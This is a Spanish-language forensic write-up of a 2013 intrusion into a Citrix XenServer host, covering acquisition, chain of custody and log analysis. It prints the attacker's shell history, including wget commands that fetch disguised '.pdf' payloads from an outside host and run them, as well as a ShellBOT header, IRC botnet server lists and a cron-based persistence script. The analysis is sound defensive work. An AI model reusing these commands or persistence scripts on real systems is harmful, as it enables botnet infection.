Una intrusión con su análisis forense
Publicado por Pedro C. el 11-01-2013
Se trata de una supuesta empresa que tiene instalada como plataforma de virtualización, el producto comercial Citrix XenServer 6.0, en concreto 6.0.0-50762p. Como máquinas virtuales, dispone de Microsoft© Windows Server 2003 que no se ha visto comprometida en el acceso una vez realizado el oportuno análisis forense.
El escenario, es una red interna y una DMZ, protegida con un appliance comercial hardware actuando como firewall conectada por IP fija con una línea ADSL. Para el acceso a la consola de administración de Citrix XenServer, normalmente se emplea la utilidad de administración comercial a través de la red interna. No se había empleado ningún tipo de acceso local a la máquina física, puesto que había estado operativa todo el tiempo.
El administrador del sistema, descubrió que podía conectar directamente para administrar el hypervisor con el comando "xsconsole" a través del puerto 22/TCP (SSH). Decidió abrir una regla en la DMZ para poder acceder remotamente a la administración de la máquina.
Debido a problemas en el suministro eléctrico, la máquina virtual Windows Server 2003 dejó de funcionar y se hizo necesario entrar en el modo consola para administrar el hypervisor y ver qué ocurría con dicha máquina. Tras varios intentos fallidos para poder entrar con el usuario supervisor root y la contraseña definida en la instalación, -para el ejemplo usaremos 123456-, no se podía acceder a la máquina indicando "Access Denied".
Se hizo necesario acceder físicamente al servidor, por lo que se instaló un teclado y un monitor. Directamente desde el equipo local, tampoco se podía acceder con las credenciales root/123456. Fue en ese momento, cuando se pensó que el sistema podría haber sido comprometido, puesto que nadie más disponía de dicha contraseña.
Recopilación de evidencias
Se procedió a instalar en la máquina física una unidad externa de almacenamiento con 4TB, un teclado USB, un monitor y a arrancar la máquina con la suite Helix de http://www.e-fense.com en su versión libre (1.9) para volcar todo el contenido de los discos originales a la unidad externa y mantener la cadena de custodia.
Para ello, se ha empleado adepto y se ha generado el hash de la imagen binaria con SHA-1 al objeto de poder verificar, en cualquier momento tras la realización de copias, que origen y destino son idénticos, dando así plena validez a la prueba y a los procesos de análisis que hagan uso de ella, así como a las conclusiones a las que puedan llegarse.
Queda por lo tanto de este modo garantizado que el analista forense no ha realizado manipulación alguna de las pruebas desde el momento en que se realiza la adquisición de las mismas.
En adepto, nos hemos decantado por la Metodología DCFLDD (desarrollado por el departamento de los EEUU, Defense Computer Forensics Lab) que presenta características avanzadas en las prácticas de adquisición de evidencias forenses con respecto a una copia con la herramienta dd o similares.
La cadena de custodia permite identificar con claridad quién ha estado en posesión de las evidencias antes de que éstas sean utilizadas en instancias judiciales, permitiendo que cualquier depositario de las mismas pueda ser citado judicialmente si las evidencias quedaran en entredicho durante el proceso. Este hecho atiende habitualmente a posibles errores respecto de los procedimientos utilizados durante el peritaje.
Queda recogido en la Ley 1/2000 de Enjuiciamiento Civil el objeto y finalidad del dictamen de peritos a través de su artículo 335:
Objeto y finalidad del dictamen de peritos. Juramento o promesa de actuar con objetividad.
1. Cuando sean necesarios conocimientos científicos artísticos, técnicos o prácticos para valorar hechos o circunstancias relevantes en el asunto o adquirir certeza sobre ellos, las partes podrán aportar al proceso el dictamen de peritos que posean los conocimientos correspondientes o solicitar, en los casos previstos en esta Ley, que se emita dictamen por perito designado en el Tribunal.
2. Al emitir el dictamen todo perito deberá manifestar, bajo juramento o promesa de decir la verdad, que ha actuado y, en su caso, actuará con la mayor objetividad posible, tomando en consideración tanto lo que pueda favorecer como lo que sea susceptible de causar perjuicio a cualquiera de las partes, y que conoce las sanciones penales en las que podrá incurrir si incumpliere su deber como perito.
La custodia de las pruebas, se convierte por lo tanto en un procedimiento fundamental que permite al perito garantizar la independencia y objetividad en la elaboración de sus conclusiones, sin haber realizado manipulación de las evidencias para favorecer a alguna de las partes.
Con la herramienta adepto, se ha generado también el informe de cadena de custodia en formato PDF.
Análisis y Tratamiento
Puesto que se dispone de otro servidor exactamente con las mismas características hardware que el supuestamente comprometido, se ha volcado una de las imágenes generadas en el mismo. Se podría haber empleado también una máquina virtual, pero para evitar la posible detección de la WM en caso de tratarse de un malware, se ha evitado. El hardware ha sido completamente aislado en una red MZ monitorizando cualquier entrada/salida de tramas en las interfaces de red.
En el arranque, se observó que no había nada extraño que impidiera el proceso. Una vez arrancada la máquina, desde su interface de configuración local (xsconsole), se procede a intentar la última opción de Local Command Shell para proporcionar las credenciales de administración root/123456 que sólo conocía el administrador.
Tras varios intentos de acceso no se tiene éxito, por lo que claramente, el password ha sido comprometido.
Se procede a arrancar la máquina con Hiren’s 15.2 live-cd de http://www.hiren.info/pages/bootcd para montar la imagen para su análisis.
Se procede a montar:
mount /dev/sda1 /mnt
Miramos el fichero passwd para poder comprobar si ha sido alterado:
cd /mnt/etc ls –la passwd -rw-r—r-- 1 root root 1376 2012-12-11 14:55 /etc/passwd
Conforme se evidencia, el fichero ha sido cambiado a las 14:55 hora local de la BIOS de la máquina.
Leemos dicho fichero para comprobar su contenido:
more /mnt/etc/passwd root:$1$EcFv/laO$UN2dgF4hfEC05/8HQvnek0:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin:/sbin/nologin daemon:*:2:2:daemon:/sbin:/sbin/nologin adm:*:3:4:adm:/var/adm:/sbin/nologin lp:*:4:7:lp:/var/spool/lpd:/sbin/nologin sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail:/sbin/nologin news:*:9:13:news:/etc/news: uucp:*:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:*:11:0:operator:/root:/sbin/nologin games:*:12:100:games:/usr/games:/sbin/nologin gopher:*:13:30:gopher:/var/gopher:/sbin/nologin ftp:*:14:50:FTP User:/var/ftp:/sbin/nologin nobody:*:99:99:Nobody:/:/sbin/nologin vcsa:!!:69:69:virtual console memory owner:/dev:/sbin/nologin dbus:!!:81:81:System message bus:/:/sbin/nologin haldaemon:!!:68:68:HAL daemon:/:/sbin/nologin sshd:!!:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin ntp:!!:38:38::/etc/ntp:/sbin/nologin rpc:!!:32:32:Portmapper RPC user:/:/sbin/nologin pcap:!!:77:77::/var/arpwatch:/sbin/nologin rpcuser:!!:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:!!:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin qemu:!!:100:101::/none:/bin/bash vncterm:!!:101:102::/none:/bin/bash qemu_base:!!:65535:65535::/none:/bin/bash vncterm_base:!!:131072:131072::/none:/bin/bash simba:$1$t/kUOJ.D$DLcvT3JMaX0BrS1Ko2egO0:0:0::/root:/bin/bash
Nos llama la atención que no use shadow passwords ya que entonces, las contraseñas sería almacenadas en /etc/shadow. Recordando el formato del fichero passwd, tenemos para cada línea, 7 campos separados por dos puntos ":" dispuestos de la forma login_usuario:$tipo[$sal_empleada]password_encriptado:UID:GID:nombre_mostrado:directorio:shell por lo que enseguida nos damos cuenta que hay una entrada en el usuario root y otro usuario denominado simba con UID 0 y GID 0 (root:root) que no pertenece a nuestro sistema. Luego la lógica, nos dice que habrá entrado como root comprometiendo nuestra contraseña y habrá creado el usuario simba.
Ahora, podremos usar John The Ripper o Hashcat para hacerlo con las GPUs si queremos saber el password que puso y cual es el que cambió, ya que $1 indica MD5 y a continuación hasta el siguiente $ encontramos la sal empleada y a continuación el password cifrado. Recordar que el algoritmo es de una única vía, es decir, no permite revertir el password por lo que tendremos que ayudarnos de un buen diccionario.
Lo siguiente que hacemos, es determinar los usuarios que han accedido a la máquina comprometida.
last –f /mnt/var/log/wtmp reboot system boot 2.6.32.12-0.7.1. Wed Dec 12 17:31 - 11:57 (18:25) root pts/0 Wed Dec 12 16:36 - down (00:49) root pts/4 Wed Dec 12 16:36 - down (00:49) root pts/0 Wed Dec 12 16:35 - 16:36 (00:00) root pts/0 Wed Dec 12 16:35 - 16:35 (00:00) root pts/0 Wed Dec 12 16:35 - 16:35 (00:00) root pts/0 Wed Dec 12 16:35 - 16:35 (00:00) root pts/4 Wed Dec 12 16:35 - 16:36 (00:00) ... reboot system boot 2.6.32.12-0.7.1. Wed Dec 12 16:28 - 17:25 (00:57) reboot system boot 2.6.32.12-0.7.1. Wed Dec 12 15:57 - 17:25 (01:27) root pts/4 x.y.z.w Tue Dec 11 14:55 - 14:58 (00:02) reboot system boot 2.6.32.12-0.7.1. Tue Dec 11 08:44 - 17:25 (1+08:41) root pts/0 Tue Dec 11 08:24 - down (00:01) root pts/1 A.B.C.D Mon Dec 10 22:30 - 22:32 (00:01) reboot system boot 2.6.32.12-0.7.1. Mon Dec 10 19:09 - 08:25 (13:15) root pts/0 Mon Dec 10 18:16 - down (00:00) ... wtmp begins Wed Mar 14 17:26:36 2012
Comprobamos también los accesos incorrectos:
lastb –f /mnt/var/log/btmp root ssh:notty 192.168.1.140 Wed Dec 12 22:53 - 22:53 (00:00) root ssh:notty 192.168.1.254 Wed Dec 12 17:39 - 17:39 (00:00) root ssh:notty 192.168.1.254 Wed Dec 12 17:36 - 17:36 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:54 - 16:54 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:53 - 16:53 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:51 - 16:51 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:32 - 16:32 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:32 - 16:32 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:31 - 16:31 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:31 - 16:31 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 15:45 - 15:45 (00:00) ... mac ssh:notty x.y.z.w Wed Dec 12 08:00 - 08:00 (00:00) mac ssh:notty x.y.z.w Wed Dec 12 08:00 - 08:00 (00:00) root ssh:notty x.y.z.w Wed Dec 12 08:00 - 08:00 (00:00) root ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) root ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) oracle ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) oracle ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) ... bins ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) ... ssh ssh:notty x.y.z.w Wed Dec 12 07:58 - 07:58 (00:00) fazan ssh:notty x.y.z.w Wed Dec 12 07:58 - 07:58 (00:00) ... btmp begins Tue Dec 11 12:38:09 2012
Claramente se observan varios ataques por diccionario desde varias IP’s. En especial, ya que el administrador del sistema dice que abrió el SSH a las 23:30 del día 10 de Diciembre de 2012, se observa la entrada de un usuario como root desde la dirección IPv4 x.y.z.w
Se procede a localizar dicha IP en las bases de datos. Para ello, la consulta la realizamos sobre RIPE.NET por tratarse de una IP geolocalizada en Europa:
This is the RIPE Database search service. The objects are in RPSL format. The RIPE Database is subject to Terms and Conditions. See http://www.ripe.net/db/support/db-terms-conditions.pdf inetnum: 90.160.0.0 - 90.175.255.255 netname: ES-UNI2-20060912 descr: France Telecom Espana SA country: ES org: ORG-ULt1-RIPE admin-c: HAF10-RIPE tech-c: HAF10-RIPE status: ALLOCATED PA mnt-by: RIPE-NCC-HM-MNT mnt-lower: UNI2-MNT mnt-routes: UNI2-MNT mnt-domains: UNI2-MNT source: RIPE #Filtered organisation: ORG-ULt1-RIPE org-name: France Telecom Espana SA org-type: LIR address: France Telecom Spain SA Gema Agudo Martinez. Parque Empresarial La FincaPaseo del Club Deportivo 1 - edificio 7 - 2a planta 28223 Madrid SPAIN phone: +34912521200 fax-no: +34656155743 admin-c: HT874-RIPE admin-c: HAF10-RIPE admin-c: HTF15-RIPE admin-c: HA1067-RIPE admin-c: HT876-RIPE mnt-ref: UNI2-MNT mnt-ref: RIPE-NCC-HM-MNT mnt-by: RIPE-NCC-HM-MNT source: RIPE #Filtered role: Hostmaster Administrator FTE address: Parque Empresarial La Finca address: Edificio 9 address: Paseo del Club Deportivo, 1 address: 28223 Pozuelo de Alarcon address: Madrid, Spain admin-c: HA1066-RIPE admin-c: HA1067-RIPE tech-c: HA1066-RIPE tech-c: HA1067-RIPE nic-hdl: HAF10-RIPE remarks: spam, abuse reports....mailto:abuse@orange.es abuse-mailbox: abuse@orange.es mnt-by: UNI2-MNT source: RIPE #Filtered Update Delete More Info from RIPEstat route: 90.160.0.0/12 mnt-by: UNI2-MNT mnt-routes: UNI2-MNT descr: Uni2 customers origin: AS12479 source: RIPE #Filtered
No se han producido entradas del usuario simba, por lo que ha debido ser una entrada como usuario root y probando contraseñas por defecto o fuerza bruta en la que ha tenido éxito y ha creado como "usuario de respaldo" a simba
Ahora, procedemos a revisar el historial de comandos para ver si se pudiera extraer alguna información útil del ataque realizado. Vaya!!! El intruso ni siquiera se ha molestado en borrarlo!!!
more /mnt/root/.bash_history
Observamos entre otros comandos introducidos, ya que uno de ellos es adduser simba...
cd /usr/local/games wget hotzu.260mb.org/em/auz.pdf wget hotzu.260mb.org/em/cb.pdf perl cb.pdf rm –rf cb.pdf tar –zxvf auz.pdf rm –rm auz.pdf cd .zu cd .au nano zneu.ini ./run ./autorun
Analizando el fichero cb.pdf, observamos que se trata de un script de perl para crear un listener de IRC para poder crear canales legítimos y otros de "de dudosa procedencia":
#!/usr/bin/perl # ShellBOT # 0ldW0lf - oldwolf@atrix-team.org # - www.atrix-team.org # Stealth ShellBot Vers?o 0.2 by Thiago X # Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :) # Mudan?as: # - O Bot pega o nick/ident/name em uma URL e entra no IRC disfar?ado :); # - O Bot agora responde PINGs; # - Voc? pode definir o prefixo dos comandos nas configura??es; ...
A continuación, extraemos los contenidos del fichero auz.pdf:
tar –zxvf auz.pdf autorun crond LinkEvents pico run zmeu.help zmeu.ini zmeu.lvl zmeu.user zmeu.user1 logs (dir) vacío r (dir) away insult kicks nicks pickup say signoff tsay versions
Procedemos a ver el contenido de zneu.ini
cat /mnt/usr/local/games/.au/zneu.ini server 173.245.201.28 7000 server 94.125.182.255 7000 server 173.245.201.28 6667 server 130.237.188.216 7000 server 194.109.20.90 7000 server 94.125.182.255 6667 server 130.237.188.216 6667 server 194.109.20.90 6667 server 194.109.20.90 6660 server 208.83.20.130 6660 server 208.83.20.130 7000 server 82.76.255.62 6660 server 82.76.255.62 6667 server tampa.fl.us.undernet.org server 208.83.20.130 server mesa.az.us.undernet.org server 69.16.172.34 server budapest.hu.eu.undernet.org server 94.125.182.255 server oslo.no.eu.undernet.org server 195.18.164.194 server hamburg.de.eu.undernet.org server 95.141.29.10 server tampa.fl.us.undernet.org server 208.83.20.130 server mesa.az.us.undernet.org server 69.16.172.34 server budapest.hu.eu.undernet.org server 94.125.182.255 server oslo.no.eu.undernet.org server 195.18.164.194 server hamburg.de.eu.undernet.org server 95.141.29.10 ### BOT 1 ### NICK zeus USERFILE user1 CMDCHAR - LOGIN zeus IRCNAME zeuseurograb SERVICE x@channels.undernet.org login - - VIRTUAL ip MODES +ix-ws HASONOTICE TOG CC 1 TOG CLOAK 1 TOG SPY 1 SET OPMODES 6 SET BANMODES 6 SET CTIMEOUT 60 SET CDELAY 30 CHANNEL #zeuseurograb TOG PUB 1 TOG MASS 1 TOG SHIT 1 TOG PROT 1 TOG ENFM 0 TOG RV 1 SET AAWAY 0 SET MDL 3 SET MKL 3 SET MBL 3 SET MPL 2
Rápidamente observamos que se ha creado un canal CHANNEL #zeuseurograb bajo la red undernet.org y que por el nombre, probablemente se trate de ZEUS-EUROGRABBER como posteriormente comprobamos.
A continuación, observamos el ejecutable run
more /mnt/usr/local/games/.au/run #!/bin/sh export PATH=. crond
Exporta el PATH para incluir el directorio creado .au y ejecutar su propio crond para mantenerse en ejecución conforme observaremos en el siguiente script.
Analizando el fichero autorun observamos:
more /mnt/usr/local/games/.au/autorun #!/bin/sh pwd > zmeu.dir dir=$(cat zmeu.dir) echo "* * * * * $dir/update >/dev/null 2>&1" > zmeu.cron crontab zmeu.cron crontab -l | grep update echo "#!/bin/sh if test -r $dir/zmeu.pid; then pid=\$(cat $dir/zmeu.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
La primera línea de shell script tras el intérprete a ejecutar, recoge el nombre del subdirectorio y lo guarda en el fichero zmeu.dir
La segunda línea lo toma como directorio de trabajo. A continuación crea un fichero zmeu.cron para ser ejecutado el fichero update bajo el crond propio y que si existe algún cambio en IP’s internas, etc., pueda mantenerse el bot en ejecución.
En el fichero update, básicamente lo que hace es comprobar si existe el proceso para poder seguir siendo ejecutado el binario en el directorio de destino. Se describe a modo de ejemplo, otro fichero localizado en otro servidor comprometido:
wget http://www.victima.com/var/www/site/.test/update #!/bin/sh if test -r /var/www/html/site/.test/zmeu.pid; then pid=$(cat /var/www/html/site/.test/zmeu.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then exit 0 fi fi cd /var/www/html/site/.test ./run &>/dev/null
Se observan además una serie de ficheros que deja el binario, denominados "canal.seen" y donde se tiene acceso a los nicks y direcciones IP’s o nombre DNS de la gente que ha conectado. Además, también existe un fichero "login.seen" (obtenidos canal y login del fichero zmeu.ini)
Se procede a investigar los usuarios que han accedido al canal creado por el bot:
cat /mnt/usr/local/games/.au/zeus.seen [omitido] cat /mnt/usr/local/games/.au/zeuseurograb.seen [omitido]
El contenido de dichos ficheros no se muestra, ya que recogen pruebas de usuarios que han sido puestas a disposición del Grupo de Delitos Telemáticos de la Guardia Civil (https://www.gdt.guardiacivil.es/webgdt/home_alerta.php) ya que se ha observado con un netstat –atunp una actividad en el servidor comprometido inusual de tráfico.
Comentarios
El intruso fue "poco inteligente" pues ocultó muy poco las pruebas que lo comprometían como así ha pasado. Tal vez, fue porque esperaba que ante una contraseña tan fácil puesta por un administrador de sistemas, éste tal vez no tuviera mucha idea y no lo detectaría nunca. Sin embargo, no contó con un cuelgue de Windows al que se hizo necesario acceder desde la consola...
Y ya sabeis que es necesario emplear contraseñas fuertes y cambiarlas a menudo. Y por supuesto, los ficheros de log's están para algo más que ocupar espacio en el disco duro.
Para los que querais investigar el Bot del IRC, os dejamos en nuestro repositorio maligno los ficheros necesarios para poder hacerlo.
Recordaros que en los Cursos especializados de Seguridad Informática y Administración de Sistemas que ofrecemos en Academia MADESYP realizamos y establecemos las contramedidas con todo esto y mucho más...
Ser buenos y no hagáis maldades!
